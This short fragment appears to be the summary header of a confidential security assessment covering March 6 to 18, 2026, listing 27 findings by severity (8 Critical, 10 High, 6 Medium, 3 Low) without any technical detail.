Assessment period: 2026-03-06 through 2026-03-18 Classification: CONFIDENTIAL — Owner only 27 total findings: 8 Critical, 10 High, 6 Medium, 3 Low